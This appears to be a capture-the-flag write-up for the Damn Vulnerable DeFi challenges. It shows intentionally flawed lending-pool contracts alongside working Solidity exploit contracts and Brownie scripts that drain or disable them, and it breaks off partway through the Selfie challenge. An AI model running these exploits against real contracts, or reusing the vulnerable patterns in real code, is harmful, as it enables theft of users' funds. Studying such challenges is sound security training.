Common Contracts DamnValuableToken.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/ERC20.sol" ;contract DamnValuableToken is ERC20 { constructor ( ) ERC20 ("DamnValuableToken" , "DVT" ) { _mint (msg.sender , type (uint256).max ); } }
DamnValuableTokenSnapshot.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol" ;contract DamnValuableTokenSnapshot is ERC20Snapshot { uint256 private lastSnapshotId; constructor (uint256 initialSupply ) ERC20 ("DamnValuableToken" , "DVT" ) { _mint (msg.sender , initialSupply); } function snapshot ( ) public returns (uint256) { lastSnapshotId = _snapshot (); return lastSnapshotId; } function getBalanceAtLastSnapshot (address account ) external view returns (uint256) { return balanceOfAt (account, lastSnapshotId); } function getTotalSupplyAtLastSnapshot ( ) external view returns (uint256) { return totalSupplyAt (lastSnapshotId); } }
DamnValuableNFT.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC721/ERC721.sol" ;import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol" ;import "@openzeppelin/contracts/access/AccessControl.sol" ;import "@openzeppelin/contracts/utils/Counters.sol" ;contract DamnValuableNFT is ERC721 , ERC721Burnable , AccessControl { using Counters for Counters .Counter ; bytes32 public constant MINTER_ROLE = keccak256 ("MINTER_ROLE" ); Counters .Counter private _tokenIdCounter; constructor ( ) ERC721 ("DamnValuableNFT" , "DVNFT" ) { _setupRole (DEFAULT_ADMIN_ROLE , msg.sender ); _setupRole (MINTER_ROLE , msg.sender ); } function safeMint (address to ) public onlyRole (MINTER_ROLE ) returns (uint256) { uint256 tokenId = _tokenIdCounter.current (); _safeMint (to, tokenId); _tokenIdCounter.increment (); return tokenId; } function supportsInterface (bytes4 interfaceId ) public view override (ERC721 , AccessControl ) returns (bool) { return super .supportsInterface (interfaceId); } }
WETH9.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pragma solidity ^0.7 .0 ; contract WETH9 { string public name = "Wrapped Ether" ; string public symbol = "WETH" ; uint8 public decimals = 18 ; event Approval (address indexed src, address indexed guy, uint wad); event Transfer (address indexed src, address indexed dst, uint wad); event Deposit (address indexed dst, uint wad); event Withdrawal (address indexed src, uint wad); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; receive () external payable { deposit (); } function deposit ( ) public payable { balanceOf[msg.sender ] += msg.value ; emit Deposit (msg.sender , msg.value ); } function withdraw (uint wad ) public { require (balanceOf[msg.sender ] >= wad); balanceOf[msg.sender ] -= wad; msg.sender .transfer (wad); emit Withdrawal (msg.sender , wad); } function totalSupply ( ) public view returns (uint) { return address (this ).balance ; } function approve (address guy, uint wad ) public returns (bool) { allowance[msg.sender ][guy] = wad; emit Approval (msg.sender , guy, wad); return true ; } function transfer (address dst, uint wad ) public returns (bool) { return transferFrom (msg.sender , dst, wad); } function transferFrom (address src, address dst, uint wad ) public returns (bool) { require (balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender ] != uint (-1 )) { require (allowance[src][msg.sender ] >= wad); allowance[src][msg.sender ] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer (src, dst, wad); return true ; } }
Unstoppable There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans …
You start with 100 DVT tokens in balance.
UnstoppableLender.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;interface IReceiver { function receiveTokens (address tokenAddress, uint256 amount ) external; } contract UnstoppableLender is ReentrancyGuard { IERC20 public immutable damnValuableToken; uint256 public poolBalance; constructor (address tokenAddress ) { require (tokenAddress != address (0 ), "Token address cannot be zero" ); damnValuableToken = IERC20 (tokenAddress); } function depositTokens (uint256 amount ) external nonReentrant { require (amount > 0 , "Must deposit at least one token" ); damnValuableToken.transferFrom (msg.sender , address (this ), amount); poolBalance = poolBalance + amount; } function flashLoan (uint256 borrowAmount ) external nonReentrant { require (borrowAmount > 0 , "Must borrow at least one token" ); uint256 balanceBefore = damnValuableToken.balanceOf (address (this )); require (balanceBefore >= borrowAmount, "Not enough tokens in pool" ); assert (poolBalance == balanceBefore); damnValuableToken.transfer (msg.sender , borrowAmount); IReceiver (msg.sender ).receiveTokens (address (damnValuableToken), borrowAmount); uint256 balanceAfter = damnValuableToken.balanceOf (address (this )); require (balanceAfter >= balanceBefore, "Flash loan hasn't been paid back" ); } }
ReceiverUnstoppable.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pragma solidity ^0.8 .0 ; import "../unstoppable/UnstoppableLender.sol" ;import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;contract ReceiverUnstoppable { UnstoppableLender private immutable pool; address private immutable owner; constructor (address poolAddress ) { pool = UnstoppableLender (poolAddress); owner = msg.sender ; } function receiveTokens (address tokenAddress, uint256 amount ) external { require (msg.sender == address (pool), "Sender must be pool" ); require (IERC20 (tokenAddress).transfer (msg.sender , amount), "Transfer of tokens failed" ); } function executeFlashLoan (uint256 amount ) external { require (msg.sender == owner, "Only owner can execute flash loan" ); pool.flashLoan (amount); } }
To complete this challenge, we must stop the UnstoppableLender
contract from giving Flash Loans
. This is possible by exploiting the assert check inside the flashLoan()
function; it checks if the balance of this contract is equal to the poolBalance
, so if we transfer some tokens to the contract, the function raises the assertion error and reverts the flash loan.
Unstoppable.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import pytestfrom brownie import DamnValuableToken, UnstoppableLender, ReceiverUnstoppable, accounts, exceptionsTOKENS_IN_POOL = 1000000 INITIAL_ATTACKER_TOKEN_BALANCE = 100 def deploy (): deployer, attacker, someuser = accounts[:3 ] token = DamnValuableToken.deploy({'from' : deployer}) pool = UnstoppableLender.deploy(token.address, {'from' : deployer}) token.approve(pool.address, TOKENS_IN_POOL, {'from' : deployer}) pool.depositTokens(TOKENS_IN_POOL, {'from' : deployer}) token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE, { 'from' : deployer}) assert token.balanceOf(pool.address) == TOKENS_IN_POOL assert token.balanceOf(attacker.address) == INITIAL_ATTACKER_TOKEN_BALANCE receivercontract = ReceiverUnstoppable.deploy( pool.address, {'from' : someuser}) receivercontract.executeFlashLoan(10 , {'from' : someuser}) return deployer, attacker, someuser, token, pool, receivercontract def exploit (token, pool, attacker ): token.transfer(pool.address, INITIAL_ATTACKER_TOKEN_BALANCE, { 'from' : attacker}) def after (receivercontract, someuser ): with pytest.raises(exceptions.VirtualMachineError): tx = receivercontract.executeFlashLoan(10 , {'from' : someuser}) assert bool (tx.status) def main (): deployer, attacker, someuser, token, pool, receivercontract = deploy() exploit(token, pool, attacker) after(receivercontract, someuser)
Naive receiver There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)
NaiveReceiverLenderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;contract NaiveReceiverLenderPool is ReentrancyGuard { using Address for address; uint256 private constant FIXED_FEE = 1 ether; function fixedFee ( ) external pure returns (uint256) { return FIXED_FEE ; } function flashLoan (address borrower, uint256 borrowAmount ) external nonReentrant { uint256 balanceBefore = address (this ).balance ; require (balanceBefore >= borrowAmount, "Not enough ETH in pool" ); require (borrower.isContract (), "Borrower must be a deployed contract" ); borrower.functionCallWithValue ( abi.encodeWithSignature ( "receiveEther(uint256)" , FIXED_FEE ), borrowAmount ); require ( address (this ).balance >= balanceBefore + FIXED_FEE , "Flash loan hasn't been paid back" ); } receive () external payable {} }
FlashLoanReceiver.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/utils/Address.sol" ;contract FlashLoanReceiver { using Address for address payable; address payable private pool; constructor (address payable poolAddress ) { pool = poolAddress; } function receiveEther (uint256 fee ) public payable { require (msg.sender == pool, "Sender must be pool" ); uint256 amountToBeRepaid = msg.value + fee; require (address (this ).balance >= amountToBeRepaid, "Cannot borrow that much" ); _executeActionDuringFlashLoan (); pool.sendValue (amountToBeRepaid); } function _executeActionDuringFlashLoan ( ) internal { } receive () external payable {} }
To complete this challenge, we need to drain the balance of FlashLoanReceiver
since anyone can execute the flashLoan()
function inside the NaiveReceiverLenderPool
contract providing the address of FlashLoanReceiver
. We can do the same and deduct FIXED_FEE
1 ether from the FlashLoanReceiver
contract. To do this in one transaction, we can deploy a smart contract and call the flashLoan
function until we drain the balance.
naivereciever_exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.8 .0 ; interface FlashLoanReceiver { function flashLoan (address borrower, uint256 borrowAmount ) external; } contract naivereciever_Exploit { FlashLoanReceiver pool; address receiver; constructor (address _address, address __address ) { pool = FlashLoanReceiver (_address); receiver = __address; } function exploit ( ) public { while (receiver.balance > 0 ) { pool.flashLoan (receiver, address (pool).balance ); } } }
naivereciever.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from brownie import NaiveReceiverLenderPool, FlashLoanReceiver, naivereciever_Exploit, accounts, WeiETHER_IN_POOL = 1000 ETHER_IN_RECEIVER = 10 def deploy (): deployer, attacker, someuser = accounts[:3 ] pool = NaiveReceiverLenderPool.deploy( {'from' : deployer}) deployer.transfer(to=pool, amount=Wei(f'{ETHER_IN_POOL} ether' )) assert pool.balance() == Wei(f'{ETHER_IN_POOL} ether' ) assert pool.fixedFee() == Wei('1 ether' ) receiver = FlashLoanReceiver.deploy(pool, {'from' : deployer}) deployer.transfer(to=receiver, amount=Wei(f'{ETHER_IN_RECEIVER} ether' )) assert receiver.balance() == Wei(f'{ETHER_IN_RECEIVER} ether' ) return deployer, attacker, someuser, pool, receiver def exploit (pool, receiver, attacker ): exploit = naivereciever_Exploit.deploy(pool, receiver, {'from' : attacker}) exploit.exploit({'from' : attacker}) def after (pool, receiver ): assert receiver.balance() == 0 assert pool.balance() == Wei(f'{ETHER_IN_POOL+ETHER_IN_RECEIVER} ether' ) def main (): deployer, attacker, someuser, pool, receiver = deploy() exploit(pool, receiver, attacker) after(pool, receiver)
Truster More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing.
But don’t worry, you might be able to take them all from the pool. In a single transaction.
TrusterLenderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;contract TrusterLenderPool is ReentrancyGuard { using Address for address; IERC20 public immutable damnValuableToken; constructor (address tokenAddress) { damnValuableToken = IERC20 (tokenAddress); } function flashLoan ( uint256 borrowAmount, address borrower, address target, bytes calldata data ) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf (address (this )); require (balanceBefore >= borrowAmount, "Not enough tokens in pool" ); damnValuableToken.transfer (borrower, borrowAmount); target.functionCall (data); uint256 balanceAfter = damnValuableToken.balanceOf (address (this )); require (balanceAfter >= balanceBefore, "Flash loan hasn't been paid back" ); } }
To solve this challenge, we must drain all the token balances of the TrusterLenderPool
contract. If we look at the flashLoan()
function, we can notice that the contract runs a function call to the given target
address with the given data
data. If we use this to make the contract to approve
tokens for the attacker
address, then the attacker can use the transferFrom()
function to steal the tokens.
truster_exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;interface TrusterLenderPool { function flashLoan ( uint256 borrowAmount, address borrower, address target, bytes calldata data ) external;} contract truster_Exploit { using Address for address; IERC20 public token; TrusterLenderPool pool; constructor (address _address, address __address ) { token = IERC20 (_address); pool = TrusterLenderPool (__address); } function exploit ( ) public { pool.flashLoan ( 0 , address (this ), address (token), abi.encodeWithSignature ( "approve(address,uint256)" , address (this ), token.balanceOf (address (pool)) ) ); token.transferFrom ( address (pool), msg.sender , token.balanceOf (address (pool)) ); } }
truster.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from brownie import DamnValuableToken, TrusterLenderPool, truster_Exploit, accountsTOKENS_IN_POOL = 1000000 def deploy (): deployer, attacker = accounts[:2 ] token = DamnValuableToken.deploy({'from' : deployer}) pool = TrusterLenderPool.deploy(token, {'from' : deployer}) token.transfer(pool, TOKENS_IN_POOL) assert token.balanceOf(pool) == TOKENS_IN_POOL assert token.balanceOf(attacker) == 0 return deployer, attacker, pool, token def exploit (token, pool, attacker ): exploit = truster_Exploit.deploy(token, pool, {'from' : attacker}) exploit.exploit({'from' : attacker}) def after (token, pool, attacker ): assert token.balanceOf(pool) == 0 assert token.balanceOf(attacker) == TOKENS_IN_POOL def main (): deployer, attacker, pool, token = deploy() exploit(token, pool, attacker) after(token, pool, attacker)
Side entrance A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.
This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
You must take all ETH from the lending pool.
SideEntranceLenderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/utils/Address.sol" ;interface IFlashLoanEtherReceiver { function execute ( ) external payable; } contract SideEntranceLenderPool { using Address for address payable; mapping (address => uint256) private balances; constructor ( ) payable {} function deposit ( ) external payable { balances[msg.sender ] += msg.value ; } function withdraw ( ) external { uint256 amountToWithdraw = balances[msg.sender ]; balances[msg.sender ] = 0 ; payable (msg.sender ).sendValue (amountToWithdraw); } function flashLoan (uint256 amount ) external { uint256 balanceBefore = address (this ).balance ; require (balanceBefore >= amount, "Not enough ETH in balance" ); IFlashLoanEtherReceiver (msg.sender ).execute {value : amount}(); require ( address (this ).balance >= balanceBefore, "Flash loan hasn't been paid back" ); } }
We must steal all the ether from the lender to complete this challenge. We can notice that this contract does not use the ReentrancyGuard
library and does not count the balance separately for the deposits and the loans. Since the flashLoan()
function only checks for the balance of the contract, we can use the deposit()
function to return the lender ether, this increases the balance of the attacker, and we can withdraw the ether with ease.
FlashLoanEtherReceiver.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.8 .0 ; interface SideEntranceLenderPool { function deposit ( ) external payable; function withdraw ( ) external payable; function flashLoan (uint256 ) external; } contract FlashLoanEtherReceiver { SideEntranceLenderPool pool; constructor (address _address ) { pool = SideEntranceLenderPool (_address); } function exploit ( ) public { pool.flashLoan (address (pool).balance ); pool.withdraw (); payable (msg.sender ).transfer (address (this ).balance ); } function execute ( ) external payable { pool.deposit {value : msg.value }(); } receive () external payable {} }
side-entrance.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from brownie import SideEntranceLenderPool, FlashLoanEtherReceiver, accounts, WeiETHER_IN_POOL = 1000 def deploy (): deployer, attacker = accounts[:2 ] pool = SideEntranceLenderPool.deploy( {'from' : deployer, 'value' : f'{ETHER_IN_POOL} ether' }) attackerInitialEthBalance = attacker.balance() assert pool.balance() == Wei(f'{ETHER_IN_POOL} ether' ) return deployer, attacker, pool, attackerInitialEthBalance def exploit (pool, attacker ): exploit = FlashLoanEtherReceiver.deploy(pool, {'from' : attacker}) exploit.exploit({'from' : attacker}) def after (attackerInitialEthBalance, pool, attacker ): assert pool.balance() == 0 assert attacker.balance() > attackerInitialEthBalance def main (): deployer, attacker, pool, attackerInitialEthBalance = deploy() exploit(pool, attacker) after(attackerInitialEthBalance, pool, attacker)
The rewarder There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
Oh, by the way, rumours say a new pool has just landed on mainnet. Isn’t it offering DVT tokens in flash loans?
AccountingToken.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol" ;import "@openzeppelin/contracts/access/AccessControl.sol" ;contract AccountingToken is ERC20Snapshot , AccessControl { bytes32 public constant MINTER_ROLE = keccak256 ("MINTER_ROLE" ); bytes32 public constant SNAPSHOT_ROLE = keccak256 ("SNAPSHOT_ROLE" ); bytes32 public constant BURNER_ROLE = keccak256 ("BURNER_ROLE" ); constructor ( ) ERC20 ("rToken" , "rTKN" ) { _setupRole (DEFAULT_ADMIN_ROLE , msg.sender ); _setupRole (MINTER_ROLE , msg.sender ); _setupRole (SNAPSHOT_ROLE , msg.sender ); _setupRole (BURNER_ROLE , msg.sender ); } function mint (address to, uint256 amount ) external { require (hasRole (MINTER_ROLE , msg.sender ), "Forbidden" ); _mint (to, amount); } function burn (address from , uint256 amount ) external { require (hasRole (BURNER_ROLE , msg.sender ), "Forbidden" ); _burn (from , amount); } function snapshot ( ) external returns (uint256) { require (hasRole (SNAPSHOT_ROLE , msg.sender ), "Forbidden" ); return _snapshot (); } function _transfer (address, address, uint256 ) internal pure override { revert ("Not implemented" ); } function _approve (address, address, uint256 ) internal pure override { revert ("Not implemented" ); } }
FlashLoanerPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;import "../DamnValuableToken.sol" ;contract FlashLoanerPool is ReentrancyGuard { using Address for address; DamnValuableToken public immutable liquidityToken; constructor (address liquidityTokenAddress ) { liquidityToken = DamnValuableToken (liquidityTokenAddress); } function flashLoan (uint256 amount ) external nonReentrant { uint256 balanceBefore = liquidityToken.balanceOf (address (this )); require (amount <= balanceBefore, "Not enough token balance" ); require (msg.sender .isContract (), "Borrower must be a deployed contract" ); liquidityToken.transfer (msg.sender , amount); msg.sender .functionCall ( abi.encodeWithSignature ( "receiveFlashLoan(uint256)" , amount ) ); require (liquidityToken.balanceOf (address (this )) >= balanceBefore, "Flash loan not paid back" ); } }
RewardToken.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/ERC20.sol" ;import "@openzeppelin/contracts/access/AccessControl.sol" ;contract RewardToken is ERC20 , AccessControl { bytes32 public constant MINTER_ROLE = keccak256 ("MINTER_ROLE" ); constructor ( ) ERC20 ("Reward Token" , "RWT" ) { _setupRole (DEFAULT_ADMIN_ROLE , msg.sender ); _setupRole (MINTER_ROLE , msg.sender ); } function mint (address to, uint256 amount ) external { require (hasRole (MINTER_ROLE , msg.sender )); _mint (to, amount); } }
TheRewarderPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 pragma solidity ^0.8 .0 ; import "./RewardToken.sol" ;import "../DamnValuableToken.sol" ;import "./AccountingToken.sol" ;contract TheRewarderPool { uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days; uint256 public lastSnapshotIdForRewards; uint256 public lastRecordedSnapshotTimestamp; mapping (address => uint256) public lastRewardTimestamps; DamnValuableToken public immutable liquidityToken; AccountingToken public accToken; RewardToken public immutable rewardToken; uint256 public roundNumber; constructor (address tokenAddress ) { liquidityToken = DamnValuableToken (tokenAddress); accToken = new AccountingToken (); rewardToken = new RewardToken (); _recordSnapshot (); } function deposit (uint256 amountToDeposit ) external { require (amountToDeposit > 0 , "Must deposit tokens" ); accToken.mint (msg.sender , amountToDeposit); distributeRewards (); require ( liquidityToken.transferFrom (msg.sender , address (this ), amountToDeposit) ); } function withdraw (uint256 amountToWithdraw ) external { accToken.burn (msg.sender , amountToWithdraw); require (liquidityToken.transfer (msg.sender , amountToWithdraw)); } function distributeRewards ( ) public returns (uint256) { uint256 rewards = 0 ; if (isNewRewardsRound ()) { _recordSnapshot (); } uint256 totalDeposits = accToken.totalSupplyAt (lastSnapshotIdForRewards); uint256 amountDeposited = accToken.balanceOfAt (msg.sender , lastSnapshotIdForRewards); if (amountDeposited > 0 && totalDeposits > 0 ) { rewards = (amountDeposited * 100 * 10 ** 18 ) / totalDeposits; if (rewards > 0 && !_hasRetrievedReward (msg.sender )) { rewardToken.mint (msg.sender , rewards); lastRewardTimestamps[msg.sender ] = block.timestamp ; } } return rewards; } function _recordSnapshot ( ) private { lastSnapshotIdForRewards = accToken.snapshot (); lastRecordedSnapshotTimestamp = block.timestamp ; roundNumber++; } function _hasRetrievedReward (address account ) private view returns (bool) { return ( lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp && lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION ); } function isNewRewardsRound ( ) public view returns (bool) { return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION ; } }
Our goal is to get more than 100 rewardTokens
and make others get less than 0.01 rewardTokens
in the next round without any DVT
. Since the TheRewardPool
contract is using an ERC20Snapshot
extension for the AccountingToken
and the rewards are based on the latest snapshot, which is valid for the next five days from lastRecordedSnapshotTimestamp
it lends DVT
from the FlashLoanerPool
and deposit in the TheRewardPool
when it is about to record the snapshot using _recordSnapshot()
function, we will be able to manage the rewarding system that we kept the tokens in the contract for next five days which will impact the reward amount since we have more DVT
even after we withdrew and returned to the FlashLoanerPool
because the distributeRewards()
function checks the balance in the latest snapshot instead of the current balance, we get more reward nearly 100 * 10 ** 18
, and others get significantly fewer rewards which are negligible.
the_rewarder_exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 pragma solidity ^0.8 .0 ; interface TheRewarderPool { function deposit (uint256 amountToDeposit ) external; function withdraw (uint256 amountToWithdraw ) external; function distributeRewards ( ) external returns (uint256); } interface FlashLoanerPool { function flashLoan (uint256 amount ) external; } interface DamnValuableToken { function transfer (address to, uint256 amount ) external; function balanceOf (address account ) external view returns (uint256); function approve (address spender, uint256 amount ) external; } interface RewardToken { function transfer (address to, uint256 amount ) external; function balanceOf (address account ) external view returns (uint256); } contract therewarder_Exploit { TheRewarderPool reward_pool; FlashLoanerPool flash_pool; DamnValuableToken token; RewardToken reward_token; constructor ( address _address, address __address, address _address_, address __address_ ) { reward_pool = TheRewarderPool (_address); flash_pool = FlashLoanerPool (__address); token = DamnValuableToken (_address_); reward_token = RewardToken (__address_); } function receiveFlashLoan (uint256 amount ) public { require (msg.sender == address (flash_pool)); token.approve (address (reward_pool), amount); reward_pool.deposit (amount); reward_pool.distributeRewards (); reward_pool.withdraw (amount); token.transfer (msg.sender , amount); } function exploit ( ) public { flash_pool.flashLoan (token.balanceOf (address (flash_pool))); reward_token.transfer ( msg.sender , reward_token.balanceOf (address (this )) ); } }
the-rewarder.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from brownie import DamnValuableToken, FlashLoanerPool, AccountingToken, TheRewarderPool, RewardToken, therewarder_Exploit, accounts, chain, WeiTOKENS_IN_LENDER_POOL = Wei("1000000 ether" ) def deploy (): deployer, alice, bob, charlie, david, attacker = accounts[:6 ] users = [alice, bob, charlie, david] liquidityToken = DamnValuableToken.deploy({'from' : deployer}) flash_pool = FlashLoanerPool.deploy( liquidityToken, {'from' : deployer}) liquidityToken.transfer( flash_pool, TOKENS_IN_LENDER_POOL, {'from' : deployer}) rewarderPool = TheRewarderPool.deploy(liquidityToken, {'from' : deployer}) rewardToken = RewardToken.at(rewarderPool.rewardToken()) accountingToken = AccountingToken.at(rewarderPool.accToken()) amount = Wei("100 ether" ) for i in users: liquidityToken.transfer(i, amount, {'from' : deployer}) liquidityToken.approve(rewarderPool, amount, {'from' : i}) rewarderPool.deposit(amount, {'from' : i}) assert accountingToken.balanceOf(i) == amount assert accountingToken.totalSupply() == Wei("400 ether" ) assert rewardToken.totalSupply() == 0 chain.sleep(60 * 60 * 24 * 5 ) for i in users: rewarderPool.distributeRewards({'from' : i}) assert rewardToken.balanceOf(i) == Wei("25 ether" ) assert rewardToken.totalSupply() == Wei("100 ether" ) assert liquidityToken.balanceOf(attacker) == 0 assert rewarderPool.roundNumber() == 2 return deployer, attacker, users, liquidityToken, flash_pool, rewarderPool, rewardToken, accountingToken def exploit (attacker, liquidityToken, flash_pool, rewarderPool, rewardToken ): chain.sleep(60 * 60 * 24 * 5 ) exploit = therewarder_Exploit.deploy( rewarderPool, flash_pool, liquidityToken, rewardToken, {'from' : attacker}) exploit.exploit({'from' : attacker}) def after (attacker, users, rewarderPool, rewardToken, liquidityToken ): assert rewarderPool.roundNumber() == 3 for i in users: rewarderPool.distributeRewards({'from' : i}) rewards = rewardToken.balanceOf(i) delta = rewards - Wei("25 ether" ) assert delta < Wei("0.01 ether" ) assert rewardToken.totalSupply() > Wei("100 ether" ) rewards = rewardToken.balanceOf(attacker) delta = Wei("100 ether" ) - rewards assert delta < Wei("0.1 ether" ) assert liquidityToken.balanceOf(attacker) == 0 def main (): deployer, attacker, users, liquidityToken, flash_pool, rewarderPool, rewardToken, accountingToken = deploy() exploit(attacker, liquidityToken, flash_pool, rewarderPool, rewardToken) after(attacker, users, rewarderPool, rewardToken, liquidityToken)
Selfie A new cool lending pool has launched! It’s now offering flash loans of DVT tokens.
Wow, and it even includes a really fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
SelfiePool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;import "./SimpleGovernance.sol" ;contract SelfiePool is ReentrancyGuard { using Address for address; ERC20Snapshot public token; SimpleGovernance public governance; event FundsDrained (address indexed receiver, uint256 amount); modifier onlyGovernance ( ) { require (msg.sender == address (governance), "Only governance can execute this action" ); _; } constructor (address tokenAddress, address governanceAddress ) { token = ERC20Snapshot (tokenAddress); governance = SimpleGovernance (governanceAddress); } function flashLoan (uint256 borrowAmount ) external nonReentrant { uint256 balanceBefore = token.balanceOf (address (this )); require (balanceBefore >= borrowAmount, "Not enough tokens in pool" ); token.transfer (msg.sender , borrowAmount); require (msg.sender .isContract (), "Sender must be a deployed contract" ); 